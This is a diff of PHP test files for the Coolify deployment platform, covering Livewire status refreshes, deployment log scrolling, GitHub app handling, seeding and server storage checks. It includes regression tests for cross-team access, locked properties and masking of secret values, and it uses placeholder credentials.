MongodbStatusInfo::class,
KeydbStatusInfo::class,
DragonflyStatusInfo::class,
ClickhouseStatusInfo::class,
DatabaseImport::class,
ServiceResourceCard::class,
ServerStatusBadge::class,
]);
it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () {
it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) {
// Regression guard for coolify#6062 / #6354 / #9695:
// Status broadcasts on the form would trigger a Livewire roundtrip that absorbs
// deferred wire:model values into the snapshot — clobbering both the typed text
// (resolved by the earlier refreshStatus fix) and the wire:dirty indicator.
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)
->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked")
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged");
})->with('database-general-forms-without-broadcasts');
/**
* Resolve a Livewire component's listeners regardless of whether the subclass
* exposes getListeners() publicly or only declares a $listeners array the
* HandlesEvents trait keeps getListeners() protected by default.
*/
function resolveLivewireListeners(object $component): array
{
$method = new ReflectionMethod($component, 'getListeners');
$method->setAccessible(true);
return (array) $method->invoke($component);
}
it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) {
// Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling
// Livewire component so it can re-render on broadcasts without touching the form's DOM.
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)
->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked");
})->with('database-status-info-components');
it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) {
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)->not->toBeEmpty();
})->with('display-only-status-components');
it('refreshes a service resource card without refreshing the service configuration form owner', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$service = Service::create([
'name' => 'status-card-service',
'environment_id' => $environment->id,
'server_id' => $server->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'docker_compose_raw' => 'services: {}',
]);
$serviceApplication = ServiceApplication::create([
'service_id' => $service->id,
'name' => 'web',
'image' => 'nginx:latest',
'status' => 'exited:unhealthy',
]);
$parameters = [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'service_uuid' => $service->uuid,
];
$component = Livewire::test(ServiceResourceCard::class, [
'service' => $service,
'resource' => $serviceApplication,
'parameters' => $parameters,
]);
$serviceApplication->fill(['status' => 'running:healthy'])->save();
$component->call('refreshResource');
expect($component->instance()->resource->status)->toBe('running:healthy');
});
it('refreshes database import status from stored resource identity after the route context is gone', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneMysql::create([
'name' => 'import-status-mysql',
'image' => 'mysql:8',
'mysql_root_password' => 'password',
'mysql_user' => 'coolify',
'mysql_password' => 'password',
'mysql_database' => 'coolify',
'status' => 'exited:unhealthy',
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = app(DatabaseImport::class);
$component->resourceId = $database->id;
$component->resourceType = StandaloneMysql::class;
$database->fill(['status' => 'running:healthy'])->save();
$component->refreshStatus();
expect($component->resourceStatus)->toBe('running:healthy');
});
it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
@@ -67,7 +221,65 @@ it('reloads the mysql database model when refreshing so ssl controls follow the
'destination_type' => $destination->getMorphClass(),
]);
$component = Livewire::test(MysqlGeneral::class, ['database' => $database])
$component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])
->assertDontSee('Database should be stopped to change this settings.');
$database->fill(['status' => 'running:healthy'])->save();
$component->call('refresh')
->assertSee('Database should be stopped to change this settings.');
});
it('does not clobber server form text inputs when sentinel restarts', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'name' => 'persisted-server-name',
]);
$component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])
->set('sentinelToken', 'user-was-typing-this-token');
$component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);
expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token');
});
it('does not clobber server form text inputs when server validation completes', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'name' => 'persisted-server-name',
]);
$component = Livewire::test(Show::class, ['server_uuid' => $server->uuid])
->set('name', 'user-was-typing-here')
->set('ip', '203.0.113.42');
$component->call('handleServerValidated', ['serverUuid' => $server->uuid]);
expect($component->get('name'))->toBe('user-was-typing-here')
->and($component->get('ip'))->toBe('203.0.113.42');
});
it('shows the redis ssl gate hint after the sibling is refreshed', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneRedis::create([
'name' => 'test-redis',
'image' => 'redis:7',
'redis_password' => 'password',
'redis_username' => 'default',
'status' => 'exited:unhealthy',
'enable_ssl' => true,
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = Livewire::test(RedisStatusInfo::class, ['database' => $database])
->assertDontSee('Database should be stopped to change this settings.');
$database->fill(['status' => 'running:healthy'])->save();
@@ -0,0 +1,88 @@
<?php
use App\Livewire\Project\DeleteEnvironment;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Database\Eloquent\ModelNotFoundException;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
// Current team
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
// Another team
$this->userB = User::factory()->create();
$this->teamB = Team::factory()->create();
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('mount cannot load DeleteEnvironment with environment from another team', function () {
Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentB->id]);
})->throws(ModelNotFoundException::class);
test('mount can load DeleteEnvironment with own team environment', function () {
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
expect($component->get('environmentName'))->toBe($this->environmentA->name);
});
test('environment_id is locked and cannot be reassigned from the client', function () {
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
try {
$component->set('environment_id', $this->environmentB->id);
$this->fail('Setting a #[Locked] property should have thrown.');
} catch (CannotUpdateLockedPropertyException) {
expect(true)->toBeTrue();
}
});
test('delete still removes an empty environment owned by the current team', function () {
$component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id])
->set('parameters', ['project_uuid' => $this->projectA->uuid]);
$component->call('delete');
expect(Environment::find($this->environmentA->id))->toBeNull();
});
test('delete cannot resolve a non-empty environment from another team', function () {
// The team-scoped lookup must stay in the delete() path so the
// "has defined resources" branch can never run for an environment
// outside the caller's team.
Application::factory()->create([
'environment_id' => $this->environmentB->id,
]);
$teamScopedLookup = fn () => Environment::ownedByCurrentTeam()
->findOrFail($this->environmentB->id);
expect($teamScopedLookup)->toThrow(ModelNotFoundException::class);
});
test('team scoped lookup permits own team environment', function () {
// Positive case so the cross-team check above cannot pass merely
// because the helper itself is broken.
$found = Environment::ownedByCurrentTeam()->findOrFail($this->environmentA->id);
expect($found->id)->toBe($this->environmentA->id);
});
+104
View File
@@ -0,0 +1,104 @@
<?php
use App\Enums\ApplicationDeploymentStatus;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Testing\TestResponse;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
InstanceSettings::unguarded(function () {
InstanceSettings::query()->create([
'id' => 0,
'is_registration_enabled' => true,
]);
});
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'status' => 'running',
]);
});
function showDeployment(string $status): TestResponse
{
$deployment = ApplicationDeploymentQueue::create([
'application_id' => test()->application->id,
'deployment_uuid' => 'deploy-scroll-'.$status,
'server_id' => test()->server->id,
'status' => $status,
'logs' => json_encode([[
'command' => null,
'output' => 'log line for '.$status,
'type' => 'stdout',
'timestamp' => now()->toISOString(),
'hidden' => false,
'batch' => 1,
'order' => 1,
]], JSON_THROW_ON_ERROR),
]);
return test()->get(route('project.application.deployment.show', [
'project_uuid' => test()->project->uuid,
'environment_uuid' => test()->environment->uuid,
'application_uuid' => test()->application->uuid,
'deployment_uuid' => $deployment->deployment_uuid,
]));
}
it('does not enable follow mode for a finished deployment', function () {
$response = showDeployment(ApplicationDeploymentStatus::FINISHED->value);
$response->assertSuccessful();
$response->assertSee('alwaysScroll: false', false);
$response->assertDontSee('alwaysScroll: true', false);
});
it('enables follow mode for an in-progress deployment', function () {
$response = showDeployment(ApplicationDeploymentStatus::IN_PROGRESS->value);
$response->assertSuccessful();
$response->assertSee('alwaysScroll: true', false);
});
it('scopes scroll teardown to the component so a stale loop cannot leak across deployments', function () {
$content = showDeployment(ApplicationDeploymentStatus::FINISHED->value)->getContent();
// Alpine destroy() tears the scroll loop down on wire:navigate away.
expect($content)->toContain('destroy()')
->toContain('cancelScrollLoop()')
// Container lookup is component-scoped, not a global getElementById.
->toContain("this.\$root.querySelector('#logsContainer')")
->not->toContain("document.getElementById('logsContainer')")
// morph.updated hook only acts on this component's own DOM.
->toContain('this.$root.contains(el)')
// Global Livewire hook is unregistered when Alpine tears down.
->toContain('morphUpdatedCleanup: null')
->toContain("this.morphUpdatedCleanup = Livewire.hook('morph.updated'")
->toContain("typeof this.morphUpdatedCleanup === 'function'")
->toContain('this.morphUpdatedCleanup()')
// Continuation timeout is tracked so it can be cancelled.
->toContain('scrollTimeout');
});
@@ -130,6 +130,20 @@ describe('GetLogs Livewire action validation', function () {
});
});
describe('GetLogs stream polling', function () {
test('streaming logs polls when log panel is not collapsible', function () {
Livewire::test(GetLogs::class, [
'server' => $this->server,
'resource' => $this->application,
'container' => 'coolify-sentinel',
'collapsible' => false,
])
->assertDontSeeHtml('wire:poll.2000ms="getLogs(true)"')
->call('toggleStreamLogs')
->assertSeeHtml('wire:poll.2000ms="getLogs(true)"');
});
});
describe('GetLogs container name injection payloads are blocked by validation', function () {
test('newline injection payload is rejected', function () {
// The exact PoC payload from the advisory
@@ -5,8 +5,10 @@ use App\Models\GithubApp;
use App\Models\PrivateKey;
use App\Models\Team;
use App\Models\User;
use Illuminate\Database\Eloquent\ModelNotFoundException;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
uses(RefreshDatabase::class);
@@ -64,6 +66,21 @@ function fakeGithubHttp(array $repositories): void
]);
}
function githubPrivateRepositoryTestPrivateKeyForTeam(Team $team): PrivateKey
{
$rsaKey = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($rsaKey, $pemKey);
return PrivateKey::create([
'name' => 'Test Key '.$team->id,
'private_key' => $pemKey,
'team_id' => $team->id,
]);
}
describe('GitHub Private Repository Component', function () {
test('loadRepositories fetches and displays repositories', function () {
$repos = [
@@ -81,6 +98,103 @@ describe('GitHub Private Repository Component', function () {
->assertSet('selected_repository_id', 1);
});
test('loadRepositories rejects a github app owned by another team', function () {
$victimTeam = Team::factory()->create();
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
$victimGithubApp = GithubApp::create([
'name' => 'Victim GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 54321,
'installation_id' => 98765,
'client_id' => 'victim-client-id',
'client_secret' => 'victim-client-secret',
'webhook_secret' => 'victim-webhook-secret',
'private_key_id' => $victimPrivateKey->id,
'team_id' => $victimTeam->id,
'is_public' => false,
'is_system_wide' => false,
]);
Http::fake();
expect(fn () => Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $victimGithubApp->id)
)->toThrow(ModelNotFoundException::class);
Http::assertNothingSent();
});
test('mount lists another teams system wide github app', function () {
$victimTeam = Team::factory()->create();
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
$systemWideGithubApp = GithubApp::create([
'name' => 'System Wide GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 54321,
'installation_id' => 98765,
'client_id' => 'system-client-id',
'client_secret' => 'system-client-secret',
'webhook_secret' => 'system-webhook-secret',
'private_key_id' => $victimPrivateKey->id,
'team_id' => $victimTeam->id,
'is_public' => false,
'is_system_wide' => true,
]);
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']);
expect($component->get('github_apps')->pluck('id')->all())
->toContain($this->githubApp->id)
->toContain($systemWideGithubApp->id);
});
test('loadRepositories can use another teams system wide github app', function () {
$victimTeam = Team::factory()->create();
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
$systemWideGithubApp = GithubApp::create([
'name' => 'System Wide GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 54321,
'installation_id' => 67890,
'client_id' => 'system-client-id',
'client_secret' => 'system-client-secret',
'webhook_secret' => 'system-webhook-secret',
'private_key_id' => $victimPrivateKey->id,
'team_id' => $victimTeam->id,
'is_public' => false,
'is_system_wide' => true,
]);
$repos = [
['id' => 1, 'name' => 'system-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $systemWideGithubApp->id)
->assertSet('current_step', 'repository')
->assertSet('total_repositories_count', 1)
->assertSet('selected_repository_id', 1);
});
test('github installation token is not stored as public component state', function () {
expect((new ReflectionClass(GithubPrivateRepository::class))->hasProperty('token'))->toBeFalse();
});
test('selected github app id cannot be tampered with from the client', function () {
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->set('selected_github_app_id', $this->githubApp->id);
})->throws(CannotUpdateLockedPropertyException::class);
test('loadRepositories can be called again to refresh the repository list', function () {
$initialRepos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+104 -4
View File
@@ -2,6 +2,7 @@
use App\Livewire\Source\Github\Change;
use App\Models\GithubApp;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Team;
use App\Models\User;
@@ -19,9 +20,45 @@ beforeEach(function () {
// Set current team
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
InstanceSettings::forceCreate([
'id' => 0,
'fqdn' => null,
'public_ipv4' => null,
'public_ipv6' => null,
]);
});
function validPrivateKey(): string
{
$key = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($key, $privateKey);
return $privateKey;
}
describe('GitHub Source Change Component', function () {
test('all github app form controls declare explicit authorization', function () {
$view = file_get_contents(resource_path('views/livewire/source/github/change.blade.php'));
preg_match_all(
'/<x-forms\.(button|input|select|checkbox)\b(?![^>]*\bcanGate=)[^>]*>/s',
$view,
$matches,
PREG_OFFSET_CAPTURE
);
$missingAuthorization = collect($matches[0])
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
->all();
expect($missingAuthorization)->toBeEmpty();
});
test('can mount with newly created github app with null app_id', function () {
// Create a GitHub app without app_id (simulating a newly created source)
$githubApp = GithubApp::create([
@@ -47,10 +84,69 @@ describe('GitHub Source Change Component', function () {
->assertSet('privateKeyId', null);
});
test('defaults webhook endpoint to app url when it is the first available endpoint', function () {
config(['app.url' => 'http://localhost:8000']);
InstanceSettings::findOrFail(0)->update([
'fqdn' => null,
'public_ipv4' => null,
'public_ipv6' => null,
]);
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful()
->assertSet('webhook_endpoint', 'http://localhost:8000');
});
test('custom webhook endpoint is selected explicitly with a checkbox', function () {
config(['app.url' => 'http://localhost:8000']);
InstanceSettings::findOrFail(0)->update([
'fqdn' => 'http://staging.example.com',
'public_ipv4' => '84.1.202.183',
'public_ipv6' => null,
]);
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful()
->assertSet('use_custom_webhook_endpoint', false)
->set('custom_webhook_endpoint', 'https://staging.example.com')
->set('use_custom_webhook_endpoint', true)
->assertSet('webhook_endpoint', 'http://staging.example.com')
->assertSet('custom_webhook_endpoint', 'https://staging.example.com')
->assertSet('use_custom_webhook_endpoint', true)
->assertSee('Use custom webhook endpoint')
->assertSee('Selected endpoint')
->assertSee('Custom endpoint')
->assertSee('createGithubApp(webhookEndpoint, useCustomWebhookEndpoint, customWebhookEndpoint');
});
test('can mount with fully configured github app', function () {
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => 'test-private-key-content',
'private_key' => validPrivateKey(),
'team_id' => $this->team->id,
]);
@@ -84,7 +180,7 @@ describe('GitHub Source Change Component', function () {
test('can update github app from null to valid values', function () {
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => 'test-private-key-content',
'private_key' => validPrivateKey(),
'team_id' => $this->team->id,
]);
@@ -157,8 +253,8 @@ describe('GitHub Source Change Component', function () {
// Verify the database was updated
$githubApp->refresh();
expect($githubApp->app_id)->toBe('1234567890');
expect($githubApp->installation_id)->toBe('1234567890');
expect($githubApp->app_id)->toBe(1234567890);
expect($githubApp->installation_id)->toBe(1234567890);
});
test('checkPermissions validates required fields', function () {
@@ -179,6 +275,8 @@ describe('GitHub Source Change Component', function () {
->assertSuccessful()
->call('checkPermissions')
->assertDispatched('error', function ($event, $message) {
$message = is_array($message) ? implode(' ', $message) : $message;
return str_contains($message, 'App ID') && str_contains($message, 'Private Key');
});
});
@@ -202,6 +300,8 @@ describe('GitHub Source Change Component', function () {
->assertSuccessful()
->call('checkPermissions')
->assertDispatched('error', function ($event, $message) {
$message = is_array($message) ? implode(' ', $message) : $message;
return str_contains($message, 'Private Key not found');
});
});
@@ -126,8 +126,7 @@ it('does not render environment variable secret values', function () {
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertSee('API_TOKEN')
->assertSee('changed')
->assertSee('Set')
->assertSee('••••••••')
->assertDontSee('Hidden')
->assertDontSee('old-secret')
->assertDontSee('new-secret');
@@ -150,9 +149,9 @@ it('renders added environment variables as set without exposing secret values',
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertSee('API_TOKEN')
->assertSee('From')
->assertSee('Not set')
->assertSee('-')
->assertSee('To')
->assertSee('Set')
->assertSee('••••••••')
->assertDontSee('Hidden')
->assertDontSee('new-secret');
});
+68
View File
@@ -0,0 +1,68 @@
<?php
use App\Actions\Fortify\CreateNewUser;
use App\Actions\Proxy\StartProxy;
use App\Models\Server;
use App\Models\SharedEnvironmentVariable;
use App\Models\SslCertificate;
use App\Models\Team;
use Database\Seeders\ProductionSeeder;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
it('creates the root team before seeding the localhost server and predefined shared variables', function () {
config([
'broadcasting.default' => 'log',
'constants.coolify.is_windows_docker_desktop' => true,
]);
Queue::fake();
StartProxy::shouldRun()->andReturn('OK');
Server::creating(function (Server $server) {
if ((int) $server->getKey() === 0) {
expect(Team::find(0))->not->toBeNull();
}
});
Server::created(function (Server $server) {
SslCertificate::create([
'server_id' => $server->id,
'common_name' => 'Coolify CA Certificate',
'ssl_certificate' => 'certificate',
'ssl_private_key' => 'private-key',
'valid_until' => now()->addYear(),
'is_ca_certificate' => true,
]);
});
$this->seed(ProductionSeeder::class);
$rootTeam = Team::find(0);
$localhostServer = Server::find(0);
expect($rootTeam)->not->toBeNull()
->and($localhostServer)->not->toBeNull()
->and($localhostServer->team_id)->toBe(0);
expect(SharedEnvironmentVariable::query()
->where('type', 'server')
->where('server_id', 0)
->where('team_id', 0)
->pluck('key')
->all()
)->toContain('COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME');
instanceSettings()->update(['is_registration_enabled' => true]);
$rootUser = app(CreateNewUser::class)->create([
'name' => 'Root User',
'email' => 'root@example.com',
'password' => 'Password123!',
'password_confirmation' => 'Password123!',
]);
expect(Team::whereKey(0)->count())->toBe(1)
->and($rootUser->teams()->where('team_id', 0)->exists())->toBeTrue();
});
@@ -0,0 +1,43 @@
<?php
it('adds profile navigation with an appearance tab and route', function () {
$routes = file_get_contents(base_path('routes/web.php'));
$profileNavbar = file_get_contents(resource_path('views/components/profile/navbar.blade.php'));
$profileView = file_get_contents(resource_path('views/livewire/profile/index.blade.php'));
expect($routes)
->toContain("Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance')")
->and($profileNavbar)
->toContain('route(\'profile\')')
->toContain('route(\'profile.appearance\')')
->toContain('General')
->toContain('Appearance')
->and($profileView)
->toContain('<x-profile.navbar />')
->not->toContain('<h1>Profile</h1>\n <div class="subtitle -mt-2">');
});
it('moves appearance preferences to the profile appearance view', function () {
$appearanceView = file_get_contents(resource_path('views/livewire/profile/appearance.blade.php'));
expect($appearanceView)
->toContain('<x-profile.navbar />')
->toContain("setTheme('light')")
->toContain("setTheme('system')")
->toContain("setTheme('dark')")
->toContain("setWidth('center')")
->toContain("setWidth('full')")
->toContain("setZoom('100')")
->toContain("setZoom('90')")
->toContain('aria-label="Use light theme"')
->toContain('aria-label="Use system theme"')
->toContain('aria-label="Use dark theme"')
->toContain('aria-label="Use centered width"')
->toContain('aria-label="Use full width"')
->toContain('aria-label="Use 100 percent zoom"')
->toContain('aria-label="Use 90 percent zoom"')
->toContain('max-w-2xl')
->toContain('class="space-y-1.5"')
->toContain('gap-1.5')
->toContain('px-2 py-1 text-sm');
});
+72
View File
@@ -0,0 +1,72 @@
<?php
use App\Jobs\PullChangelog;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Http;
/**
* Fake releases land in a month that no real release uses, so the generated
* changelog file never collides with committed changelogs.
*/
function fakeReleasesPayload(): array
{
return [
[
'tag_name' => 'v9.9.9',
'name' => 'Test Release',
'body' => 'Released notes here.',
'draft' => false,
'published_at' => '1999-01-15T00:00:00Z',
],
[
'tag_name' => 'v9.9.8-draft',
'name' => 'Draft Release',
'body' => 'Should be skipped.',
'draft' => true,
'published_at' => '1999-01-10T00:00:00Z',
],
];
}
afterEach(function () {
File::delete(base_path('changelogs/1999-01.json'));
});
test('releases_url config defaults to the GitHub raw source', function () {
expect(config('constants.coolify.releases_url'))
->toBe('https://raw.githubusercontent.com/coollabsio/coolify-cdn/main/json/releases.json');
});
test('PullChangelog fetches from the configured releases_url and writes the changelog', function () {
config(['constants.coolify.releases_url' => 'https://example.test/releases.json']);
Http::fake([
'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200),
]);
(new PullChangelog)->handle();
Http::assertSent(fn ($request) => $request->url() === 'https://example.test/releases.json');
$path = base_path('changelogs/1999-01.json');
expect(File::exists($path))->toBeTrue();
$data = json_decode(File::get($path), true);
expect($data['entries'])->toHaveCount(1)
->and($data['entries'][0]['tag_name'])->toBe('v9.9.9');
});
test('PullChangelog skips draft releases', function () {
config(['constants.coolify.releases_url' => 'https://example.test/releases.json']);
Http::fake([
'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200),
]);
(new PullChangelog)->handle();
$data = json_decode(File::get(base_path('changelogs/1999-01.json')), true);
$tags = array_column($data['entries'], 'tag_name');
expect($tags)->not->toContain('v9.9.8-draft');
});
@@ -1,17 +1,19 @@
<?php
use App\Jobs\PushServerUpdateJob;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('database last_online_at is updated when status unchanged', function () {
test('database last_online_at is not updated when status is unchanged', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'running:healthy',
'last_online_at' => now()->subMinutes(5),
]);
@@ -40,15 +42,13 @@ test('database last_online_at is updated when status unchanged', function () {
$database->refresh();
// last_online_at should be updated even though status didn't change
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
expect((string) $database->last_online_at)->toBe((string) $oldLastOnline);
expect($database->status)->toBe('running:healthy');
});
test('database status is updated when container status changes', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'exited',
]);
@@ -79,8 +79,7 @@ test('database status is updated when container status changes', function () {
test('database is not marked exited when containers list is empty', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'running:healthy',
]);
@@ -99,3 +98,31 @@ test('database is not marked exited when containers list is empty', function ()
// Status should remain running, NOT be set to exited
expect($database->status)->toBe('running:healthy');
});
function createPushUpdatePostgresql(Team $team, array $attributes = []): StandalonePostgresql
{
$lastOnlineAt = $attributes['last_online_at'] ?? null;
unset($attributes['last_online_at']);
$server = Server::factory()->create(['team_id' => $team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandalonePostgresql::create(array_merge([
'uuid' => (string) str()->uuid(),
'name' => 'postgres-'.str()->random(8),
'postgres_password' => 'secret',
'status' => 'exited',
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'environment_id' => $environment->id,
], $attributes));
if ($lastOnlineAt !== null) {
$database->forceFill(['last_online_at' => $lastOnlineAt])->saveQuietly();
}
return $database;
}
@@ -16,10 +16,29 @@ beforeEach(function () {
Cache::flush();
});
it('dispatches storage check when disk percentage changes', function () {
it('dispatches storage check when disk percentage changes above threshold', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// Default notification threshold is 80%.
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 85],
];
$job = new PushServerUpdateJob($server, $data);
$job->handle();
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id && $job->percentage === 85;
});
});
it('does not dispatch storage check when disk usage is below threshold', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// 45% is well below the default 80% notification threshold — nothing to do.
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 45],
@@ -28,8 +47,39 @@ it('dispatches storage check when disk percentage changes', function () {
$job = new PushServerUpdateJob($server, $data);
$job->handle();
Queue::assertNotPushed(ServerStorageCheckJob::class);
});
it('clears stale storage cache when disk usage drops below threshold', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$storageCacheKey = 'storage-check:'.$server->id;
Cache::put($storageCacheKey, 85, 600);
$belowThresholdData = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 45],
];
